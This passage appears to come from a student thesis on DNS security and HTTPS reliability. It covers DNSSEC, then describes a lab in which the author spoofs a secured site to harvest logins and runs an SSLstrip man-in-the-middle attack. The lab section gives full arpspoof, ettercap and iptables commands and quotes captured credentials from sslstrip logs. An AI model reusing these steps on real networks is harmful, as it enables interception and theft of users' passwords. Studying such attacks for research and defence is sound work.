of domain name student.mamk.fi is 195.148.235.74”. 
6, 7, 8   Transmission of the requested IP address back to the client. 
b) All sent queries are iterative: 
1. Client sends the iterative query to the DNS server: “What is the IP address 
of student.mamk.fi?” 
2. DNS server responds: “I do not have this information, but I have the IP 
address of the root DNS server. Send the query there.” 
3 – 8    Client sends iterative queries to the different DNS servers until it gets 
the requested IP address. 
c) Combined scheme uses recursive queries only from client to the DNS server; 
for communication between servers, iterative queries are applied. This type is 
the most popular in the Internet. 
 
FIGURE 12. Different schemes of DNS queries 
The request may be passed along to a number of servers, which can take extra time and 
consume bandwidth. After a match is found and returned to the original requesting 
server, the recursive server temporarily stores the IP address that matches the domain 
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name in cache memory. This significantly accelerates the process the next time. Root 
DNS servers and top-level DNS servers are iterative, because they have to handle a 
huge number of queries and recursive queries increase latency and reduce bandwidth. 
At the same time, it is not efficient to store all information passing through the Root 
DNS server constantly in the cache. 
A useful feature is the ability to use DNS forwarders. DNS server interrogates other 
servers to find the correct answer, but if the network is connected to the Internet over a 
slow line, this process can take quite a while. Instead of that, it is possible to redirect all 
requests to the provider’s server, and then receive the answers. Using the DNS 
forwarders may be interesting for large companies with multiple networks. For each 
network a relatively weak DNS server can be positioned, specifying a more powerful 
computer that is connected to the fast line as a forwarder. In this case all the answers 
will be cached on this powerful server that will accelerate name resolution for the entire 
network. (Microsoft Corporation 2014.) 
4.2 DNS Security 
The main function of the DNS hides IP addresses from the user, even if the address is 
changed, the DNS server redirects the query to the actual address without notifying the 
client. This is done for the convenience of using the Internet, however, this creates good 
conditions for the attackers. When the system was created the developers did not 
provide any security requirements, because while (1980s) it was not actual. For that 
reason DNS itself is initially vulnerable. 
According to Wallenstein (2013) there are three the most common ways to redirect 
traffic: 
1. To perform a cache poisoning attack 
2. Change the data on an authoritative DNS server for a domain 
3. Change the authoritative DNS servers for a domain 
In case of cache poisoning the attacker replaces data in the server’s cache, thereby 
redirecting users to false websites. Only recursive DNS servers use the cache and these 
servers are located closer to the end users in the hierarchy (see 4.1), so this type of attack 
is highly directional. Only those users are under the influence who are using the 
compromised DNS server. 
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Authoritative DNS server means that this server itself contains the information about 
certain domain zone – all IP addresses around this zone in one file. This file is not 
similar to cache, which is temporary stored, authoritative DNS server keeps permanent 
data. If the file is changed (second way to redirect traffic) the DNS server will send 
wrong responses and users will access the wrong webpages, until the problem is found. 
The third case of compromising is the most dangerous, because when the authoritative 
DNS server itself is changed, the fake DNS server answers recursive queries and the 
false information is globally saved on other DNS servers as a cache. The cache is usually 
stored for a full day. In August 2013 the Syrian Electronic Army (SEA) attacks the New 
York Times website by changing the authoritative DNS server. All day users saw the 
dark picture with title “Hacked by Syrian Electronic Army”. (Wallenstein 2013.) 
In addition to these attacks, based on the substitution of IP addresses, there are other 
DNS server threats such as Man in the middle and DDoS attacks. I will not describe in 
detail these attacks, only recall their basic essence. If the attacker intercepts the 
transmitted packets, modifies or only reads the information, it is a Man in the middle 
attack. Distributed Denial of Service (DDoS) attack is carried out to stop the DNS server 
by sending huge number of false queries. The attackers identify the most vulnerable 
users’ computers and infect them by Trojan horse that may be not found for a long time. 
Then by hacker’s command, infected computers simultaneously send queries which 
incapacitate the DNS server. 
As seen above, the DNS server is a very vulnerable and it is not related to software 
defects. However, today there are some solutions of this problem. 
DNS Security Extensions (DNSSEC) was designed to protect the Internet from certain 
attacks. It is a set of extensions to DNS. The first edition of DNSSEC RFC 2065 was 
published in 1997 already. In 1999, the creators tried to implement DNSSEC, based on 
the RFC 2535. However, this version is also not widespread because of serious 
problems with scaling. Protected DNS required many resources, because 
communication consisted of six messages and it had a complex system of upgrades in 
the hierarchy. In 2005 the current edition of DNSSEC is appeared, which is called 
DNSSEC-bis. This version also uses additional steps, but nevertheless it is applicable 
in practice. 
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DNSSEC is based on asymmetric encryption. Each zone contains two keys: public and 
private. Public key is publicly available and is reflected in the DNS. The private key 
has a restricted access. The individual data of DNS zone is signed by private key of this 
zone. Higher level zones sign public keys for the lower-level areas. When a user wants 
to access a website, the computer requests the IP address of the website and the 
DNSSEC key, associated with this area, from a recursive DNS server. This key allows 
the server to verify that the IP address record it receives is identical to the record in the 
authoritative name server. If the recursive server determines that the address record has 
been sent by the authoritative DNS server and has not been altered in transit, it resolves 
the domain name and the user can access the site. (VeriSign Inc. 2014.) 
Thus, DNSSEC provides origin authentication of DNS data and integrity. However, it 
does not provide confidentiality and does not protect against DDoS Attacks. Although 
protected DNS solves many security problems of original DNS system, most servers 
today still use a conventional DNS as before. DNSSEC requires a large amount of 
resources and reduces network bandwidth, which complicates its global spread. Today 
DNSSEC is only supported by High-level DNS servers. The current situation which 
domains are switched into DNSSEC may be seen by visiting DNSSEC Deployment 
Report (http://rick.eng.br/dnssecstat/). For 16 April 2014, 533 Top-level domains use 
DNSSEC. 
Since DNSSEC has not yet got proper distribution; we have to wait and work with old 
methods. Time to live (TTL) should have the adequate value. By default it is 24 hours. 
It means that cache on the DNS server will be changed only after a full day. To reduce 
consequences of cache poisoning the TTL should be much less. However, too small 
value will increase the traffic. DNS server and Website should be stored on separate 
computers. Using DNS firewall and filtering helps to significantly reduce the likelihood 
of DDoS attacks. 
 
5 TESTING RELIABILITY OF HTTPS 
In this section, I check the reliability of Digital Certificates’ usage for sites. We have 
previously figured out that the certificate solves three main security issues: 
Authentication, Integrity and Confidentiality. The biggest danger is loss of private key, 
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as in this case, all the transmitted data can be read by a third party. However, even if 
the key is well hidden, there are other ways of obtaining unauthorized access. 
In 2008 it was possible to create a duplicate of an existing certificate, since md5 
mechanism was used for signing. The theoretical opportunity to crack this encryption 
method existed always, but Certification Authorities neglected this minor probability. 
However, a way allowing to create two documents with the same values md5 
fingerprints was found. Today this type of attack is not relevant, since all CAs switched 
to a more reliable encryption mechanism SHA-1. 
I do not set a goal to break the certificate itself, because I did not find any real probability 
to realize this. My task is to verify if the possibilities are to intercept the data, such as 
login and password from the protected website.  
5.1 Initial data and topology 
To achieve the goal I created the following test environment. I used four Virtual 
machines on a single host, however, in Figure 13 an appropriate real topology is 
presented also. Each computer has a specific role: web server, DNS server, Client and 
Attacker. The IP settings are in Figure 13 below.  
 
FIGURE 13. Topology and IP settings 
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All Computers use Windows 8.1 Operating System. The web server uses 
Apache_2.0.59-OpenSSL-0.9.8e-win32, php-5.2.13 and mySQL-5.6.17.0 software for 
realization secured local website – https://www.website.fi. Unbound 1.4.22 software is 
installed as a DNS server, which translates local IP addresses. For more information 
about how the website and DNS server were created see Evgeny Malygin’s final thesis. 
5.2 Spoofing the secured website 
For successful implementation of the project, I have to create a false website that is most 
similar to the real one. Since the website uses HTTPS protocol I should also install a 
Digital Certificate to prevent unnecessary suspicion. 
As an attacker I cannot ask the Certificate Authorities such as VeriSign, GoDaddy or 
Thaute to issue me the official certificate. There are several reasons for that. Firstly I 
would like to get the certificate with the same domain name. Secondly I will use it for 
illegal purposes. And thirdly I do not want to spend money. Therefore, I have only a 
way to create a self-signed certificate, which will satisfy all my requirements.  
For that the Apache and OpenSSL software are used. Using command prompt I create 
the self-signed certificate with 1024 bit RSA private key for one year of usage. 
openssl req -config openssl.cnf -new -out cert.csr -
keyout cert.pem 
openssl rsa -in cert.pem -out cert.key 
openssl x509 -in cert.csr -out cert.cert -req -signkey 
cert.key -days 365 
In a process of creation I put the information about the owner: Country – Finland, city 
– Mikkeli, organization name – MAMK, organizational unit name – IT, common name 
– www.website.fi. These data is an exact copy of the victim website. 
Now when the fake website is similar in appearance to the original one and has the same 
installed Digital Certificate, everything is ready to attack. 
Before replacing the website consider how the client’s PC opens a particular page. The 
simple scheme of address translating is shown in Figure 14. 
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FIGURE 14. Address translating 
When user types into address bar www.website.fi, the system starts searching of 
appropriate IP address. Windows operating systems contain very simple internal DNS 
server. It is a file named hosts located on C:\Windows\System32\Drivers\etc. This file 
contains the mappings of IP addresses to host names. It can be used by administrators 
for local websites, when there is no many computers to configure. The hosts file is 
checked first, if the needed domain is not found the query goes to DNS server. 
Based on this structure there are four possibilities to spoof the website: 
1. Add or change an entry in the hosts file 
2. Modify the locally stored information about the DNS servers IP address 
3. Change the data on the DNS server 
4. Spoof the DNS server itself 
For realization of attacks usually viruses are used, they get an access to the computer 
and change the configuration files. In first case this is the hosts file. To redirect the 
query www.website.fi to attacker’s IP address (192.168.0.114), only two lines have to 
be added (Figure 15). 
 
FIGURE 15. Spoofing via hosts file 
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From the client browser the fake website is successfully opened. The page is used the 
HTTPS protocol, but because of self-signed certificate the user got a warning: “The 
connection is untrusted” (Figure 16). 
 
FIGURE 16. HTTPS connection and the warning 
If the user clicks the “I Understand the Risks” button, the certificate is added to the 
browser storage. After that the browser will not show this warning any more, it means 
that the goal is reached. 
If the attacker cannot get an access to the end user host he or she can try to achieve the 
DNS server. To redirect the domain name from one IP address to another couple of lines 
have to be changed in the configure file. For Unbound DNS server it is the 
“service.conf” file (Figure 17). 
 
FIGURE 17. Spoofing via changing the DNS server data  
The result of this attack is absolutely identical to the previous one, however, this type 
is more global, because all devices connected or related to this DNS server are under 
the attack. 
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In the next method the Unbound software is installed as a DNS server on the attacker’s 
machine. The configuration file contains the entries about the fake website. After that 
it remains only to force the client PC to use new DNS server instead of original one. 
The IP settings have to be changed on the victim’s PC (Figure 18). This might be 
implemented by malicious code or manually, if the attacker has a physical access to the 
computer. 
 
FIGURE 18. Modifying the local information about the DNS server IP address  
The last way is to spoof the DNS server itself. The attacker  
All the attacks were successful and client used the false website with HTTPS protocol. 
Now it is time to steal the private information (in this case, the login and password) 
from the user to get an access to the original system. About this is the next chapter. 
5.2.1 Getting the private information 
There are different ways to get the username and password entered into false website. 
First solution is very simple – to write down the information to a separate text document. 
Figure 19 below contains the script was used in my case and an example of saved 
information in data.txt file. The script could be added to a look-a-like web site in which 
the user is directed with some method described in section 5.2. 
This way is very simple and fast to configure and implement, however, it is quite rough. 
It means it is visible, because the attacker create only similar home page and does not 
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provide service itself. After the user entered the login and password, the error appears, 
because false web server does not have anything else inside. The attacker’s site can be 
created very close to original one, but still it will not operate fully, because the aim is 
to get the information and use it for own benefit. Another problem of this method that 
all entered combinations will be put into file without verification. To find the correct 
pair attacker has to check them on the original website.  
 
 
FIGURE 19. Script and an example of captured data in data.txt file 
The method above works great, however I improved it. In the second way of getting 
private information from a spoofed website the solution to check validity of entered 
user credentials was found. Figure 20 below presents the java script used in index.php 
on the attacker’s PC. 
 
FIGURE 20. Configuration of fake index.php 
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The IP address 192.168.0.111 in Figure above is the IP address of the original website. 
One more change must be done in web server configuration file (for Apache it is 
httpd.conf), the next string must be added. 
Header set Access-Control-Allow-Origin "*" 
This line enables the possibility for two different websites to connect to each other and 
exchange some information. In this case a victim enters the information into fields and 
clicks “Sign in” button. After that the data is redirected to the original website and 
verified against the real database. If login-password and stored information do not 
match, the error of the original website is returned. If the combination is correct, it is 
written into the data.txt file and a user gets the error message from the attacker similar 
to the previous example. Thus, until the user enters the correct combination, he may not 
notice the substitution, since all error messages come from the original service. Once 
the combination is confirmed, the session terminates under the pretext of some errors. 
This method is much more plausible than the first one. The user may believe that the 
service has temporary problems and does not hurry to change the password. 
This method also has limitations to use. Its disadvantage is that Access-Control-Allow-
Origin must be used on both sides. It means that either malefactor has to search the 
appropriate website before the attack or create a malicious code to change the 
configuration file. 
The best possibility for an attacker would be to create such environment where the user 
enters the login and password to the false form, but after clicking button he or she is 
redirected to the original web service. In such scheme of action the victim uses the 
required website as usual and does not know that first page was a fake one. In theory 
there is simple way to create such system using 
<iframe>https://192.168.0.111</iframe> tag. However, in practice I met a 
problem: all browsers block this opportunity. Future studies are still needed in this area. 
5.3 Man-in-the-middle attack using SSLstrip 
At Black Hat DC 2009 Moxie Marlinspike presented a tool for HTTPS stripping attack. 
This tool does not break SSL itself, but replaces the HTTPS traffic with an HTTP. The 
working principle is based on a hypothesis that “in most cases, SSL is never encountered 
directly. That is, most of the time an SSL connection is initiated through HTTPS it is 
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because someone was redirected to an HTTPS via an HTTP 302 response code or they 
click on a link that directs them to an HTTPS site.” (Sanders 2010.) In Figure 21 below 
the HTTPS communication process is shown. 
 
FIGURE 21. The HTTPS Communication Process (Sanders 2010) 
The idea of SSLstrip is to attack the transition point from HTTP to HTTPS and intercept 
an SSL connection before it occurs using man-in-the-middle. Figure 22 shows how the 
tool works. 
 
FIGURE 22. Implementation of SSLstrip tool (Sanders 2010) 
As a result the attacker maintains two communications with two different roles. For the 
user (web browser) the attacker is a web server, it provides full operability of the 
website. For the web server the attacker is a client, who established the encrypted 
communication. Thus, using SSLstrip, usernames and passwords can be intercepted in 
the plain text. 
For my man-in-the-middle attack I changed the operating system for the attacker virtual 
machine from Windows 8 to BackTrack 5. SSLstrip already exists on the BackTrack by 
default, but to avoid different errors I followed the recommendations to install it 
manually. For that reason the SSLstrip 0.9 was downloaded, and the next three 
commands were used: 
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tar zxvf sslstrip-0.9.tar.gz 
cd sslstrip-0.9 
sudo python ./setup.py install 
There are two ways to perform the attack with BackTrack 5 and SSLstrip: with 
internal Arpspoof utility or Ettercap tool. I will cover both of them here. 
5.3.1 SSLstrip and Arpspoof 
First the Linux distribution must be configured for IP forwarding: 
echo "1" > /proc/sys/net/ipv4/ip_forward 
"1" – to enable the ip forwarding; "0" - to disable 
After that to setup iptables for redirecting HTTP traffic to sslstrip enter:  
iptables -t nat -A PREROUTING -p tcp --destination-port 80 
-j REDIRECT --to-port 6000 
--table or -t table - table to manipulate 
--append or -A chain - Append to chain 
--proto or -p proto - protocol: by number or name 
--destination or -d - destination specification 
--jump or -j target - target for rule 
Run SSLstrip: 
sslstrip -l 6000 
-l <port> or --listen=<port> -Port to listen on (default 10000) 
The last step in this process is to configure ARP spoofing to intercept the traffic of the 
target host. The command to do this: 
arpspoof -i eth0 -t 192.168.0.113 192.168.0.254 
-i – interface the BackTrack uses 
-t - target 
192.168.0.113 – IP address of our victim 
192.168.0.254 – default gateway of the victim 
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First, arpspoof convinces a host that the attacker’s MAC address is the router’s MAC 
address, and the victim starts to send the outgoing traffic to the attacker’s machine. The 
kernel forwards everything along except for traffic destined to port 80, which it redirects 
to port 6000. When SSLstrip is started, it creates log file sslstrip.log in a “Home folder”. 
This file contains all captured information during the session. 
In this experiment I checked different popular and important websites, which use the 
HTTPS: Facebook.com, Gmail.com, Ebay.com (Sign In page), Twitter.com, Nordea.fi 
(Netbank page) and Op.fi. As an addition I checked my local website.fi with self-signed 
certificate. On the client PC I used four different browsers: Mozilla Firefox, Google 
Chrome, Opera end Internet Explorer. My results are presented in the Table 1 below. 
TABLE 1. Results of MITM attack with SSLstrip and Arpspoof 
 Gmail Twitter Op Facebook Nordea eBay Website 
Mozilla https https http https http http http 
Chrome https https https http http http http 
Opera https https http http http http http 
IE http http http http http http http 
In the Table 1 the HTTPS means that during the attack the website was opened normally 
with SSL protocol and all the data was encrypted, passwords were not captured. 
Respectively HTTP indicates that all data was transmitted in clear text. Examples of 
some captured passwords in the sslstrip.log file see below. Some symbols were changed 
in accordance with URL encoding: %21 is exclamation mark (!) and %40 = at (@). 
 
2014-05-18 03:36:55,513 SECURE POST Data (website.fi): 
login=user1&password=pass1&submit=Sign+in 
2014-05-18 04:00:04,199 SECURE POST Data (solo1.nordea.fi): 
usecase=base&command=formcommand&guid=TwssNd5hgdybZliY3yMKywCC
&commandorigin=0.commonlogintabview_FI&fpid=KGh7oHTLiXlQowARVg
859wCC9210086129922575179xxxxxxxxx&hash=RlB2x477y0ol21k1SzR07g
CC&JAVASCRIPT_DETECTED=true&userid=254896514&pin1=0&pin2=7&pin
3=4&pin4=9&commonlogin%24doLightloginForFI=%A0%A0%A0OK%A0%A0%A 
2014-05-18 04:12:25,111 SECURE POST Data (www.facebook.com): 
lsd=AVoSPqbv&email=zzenya%40yandex.ru&pass=StudenT2014&default
_persistent=0&timezone=-
180&lgnrnd=011147_ntyU&lgnjs=n&locale=en_US 
2014-05-18 04:55:45,149 SECURE POST Data (twitter.com): 
session%5Busername_or_email%5D=MAMK2014&session%5Bpassword%5D=
student2014&remember_me=1&return_to_ssl=true&scribe_log=&redir
ect_after_login=%2F&authenticity_token=38091955439fa32a40baffc
74ae0abc15336fc2f 
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5.3.2 SSLstrip and Ettercap 
First it is needed to change some configurations in /etc/etter.conf file. To give privileges 
for root-user:  
[privs] 
ec_uid = 0 
ec_gid = 0 
Then we need to uncomment the next lines and save all changes. 
# if you use iptables: 
redir_command_on = "iptables -t nat -A PREROUTING -i %iface 
-p tcp --dport %port -j REDIRECT --to-port %rport" 
redir_command_off = "iptables -t nat -D PREROUTING -i 
%iface -p tcp --dport %port -j REDIRECT --to-port %rport" 
IP forwarding and IPtables configuration for redirecting HTTP traffic is done similar 
way as with Arpspoof: 
echo 1 > /proc/sys/net/ipv4/ip_forward 
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j 
REDIRECT --to-port 6000 
In a new terminal run the Ettercap in MITM mode: 
ettercap -Tql eth0 -M arp:remote /192.168.0.113/ 
/192.168.0.254/ 
-T or –text   - use text only GUI 
-q or –quiet   - do not display packet contents 
2014-05-18 04:56:17,351 SECURE POST Data 
(accounts.google.com): 
GALX=BiZkmed43jM&continue=http%3A%2F%2Fmail.google.com%2Fmail%
2F&service=mail&rm=false&ltmpl=default&scc=1&ss=1&_utf8=%E2%98
%83&bgresponse=%21A0Kk_P1Bwr6ZBkT6GN7uwakrUQIAAABUUgAAAAUqAQp3
KJkEPe7DSWqLhXY3k9Vgv3tn6UxlPel3lmsnGd6lmkweWs096U8TnVgQmZBpVS
XzNW4U1ZuUicM6ngyBTfJT3HqkzsDi2rlkqxI6aHNNHt7MlVLO1FaRTIhx9XyD
DUxid12Rda6XoLXmNtI3C2yONvnJva8LmBDmBK1P09YzuuKRSYQeR1LxO_42DND
Zlx7gEXdtMwnRqNBq3PcMLxKsZQEuHwfaiyNwBP7cJ-kVTBjYNIAM5BvEGGb-
vZVnOOSnVMgYZLDzINWsf0hrheeAIg&pstMsg=1&dnConn=&checkConnectio
n=&checkedDomains=youtube&Email=student.MAMK@gmail.com&Passwd=
Re%21Dazhidr%21&signIn=Sign+in&PersistentCookie=yes&rmShown=1 
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-l or --log-info <logfile> - log only passive information 
-M or --mitm <METHOD:ARGS> - perform a mitm attack 
In other new terminal run SSLstrip: 
sslstrip -l 6000 
In the terminal with Ettercap we can see captured traffic. The process is very similar to 
previous one. However, the results (Table 2) are not identical. Facebook.com in Mozilla 
Firefox was redirected to HTTP and as a consequence the password was captured. 
TABLE 2. Results of man-in-the-middle attack 
 Gmail Twitter Op Facebook Nordea eBay Website 
Mozilla https https http http http http http 
Chrome https https https http http http http 
Opera https https http http http http http 
IE http http http http http http http 
 
Obviously, the passwords can be captured by these uncomplicated ways. Passwords 
saved in the browser have also been compromised. In my research, there were no 
installed antivirus solutions and firewalls, which greatly complicate the task of the 
attacker. On the client side to prevent such threat is very simple. Before entering any 
personal data he or she must be ensure that the HTTPS protocol is used. If not, then user 
has to type HTTPS manually into address bar, for example: https://www.facebook.com. 
The page will then be displayed normally with SSL encryption. 
During the experiment, some pages were not fully loaded via HTTP (Figure 23) i.e. 
password was captured, but the website was partially displayed or not displayed at all. 
 
FIGURE 23. Endless loading Gmail via HTTP 
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Such case was with Facebook in almost all browsers and Gmail in Internet Explorer. 
Perhaps the reason for this is the usage of virtual machines for the attacker and for the 
victim. However, it gives the user an additional chance to detect that something is wrong 
and change his or her password using the HTTPS. 
Analyzing the results shown in Table 1 and Table 2 above, we can see which presented 
services are more secure, and which less. As an example, the mail from Google and 
Twitter are the steadiest. Unexpected results the Finnish banks showed, almost unable 
to withstand SSLstrip attack. Also we can make conclusion about the most reliable 
browsers. According to results of two tests the most reliable browser is Google Chrome, 
however, fans of social media Facebook should give a preference to Mozilla Firefox. 
Internet Explorer revealed itself as the most unreliable browser. 
 
6 CONCLUSION 
More than one fourth of the most popular websites use Digital Certificates to provide 
additional protection for transmitted data. Digital certificates are constantly exposed to 
various attacks. Each new possibility to break the system forces developers to improve 
the protection, and every year for the attacker it is more and more difficult to find a way 
for getting the encrypted data. The main purpose of this project was to verify the 
reliability of Digital Certificates on the websites. To achieve the goal two different 
attacks were simulated: the spoofing of secured website and man-in-the-middle attack 
using SSLstrip tool. The experimental results showed that it is not necessary to possess 
higher than normal abilities and have powerful computer to make a successful attack 
against HTTPS protocol. During the practical part it has been demonstrated that some 
sites cannot resist the man-in-the-middle attack, while others are more reliable. I 
suppose, it depends not only on the administrator work and security settings, but also 
on the type of digital certificate. The extended Digital Certificate always is more 
secured against the different attacks than its self-signed alternative.  
Analyzing the results, it is sad to realize that social media are better protected than the 
online services of banks. Nevertheless, despite the output, I would like to note that 
nowadays the usage of digital certificates is the most reliable way to protect personal 
information. We should not forget that during the experiments antivirus software or 
firewalls were not used and the attacker had direct access to the network. Only the 
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absence of these factors greatly reduces the probability of a successful attack. Moreover, 
do not underestimate the possibility of the end user to prevent identity theft. The main 
requirements to the behaviour of users on the Internet are: to be vigilant, do not click 
on unknown links, do not ignore the warning windows, use only the official software, 
always use antivirus software and firewall, keep the system up to date, use strong 
passwords and change them periodically, before to enter a confidential data be sure that 
the website is the original one and works via HTTPS protocol. Compliance of these 
simple rules significantly reduces the risk of data loss. 
From my point of view, a promising direction for future research is to study the 
DNSSEC. In this document I mentioned it briefly. This DNS system is also based on 
providing authentication, confidentiality and integrity of data. Another interesting way 
would be the Beast attack, which decodes the data inside the SSL, but it does not have 
successful implementation yet. 
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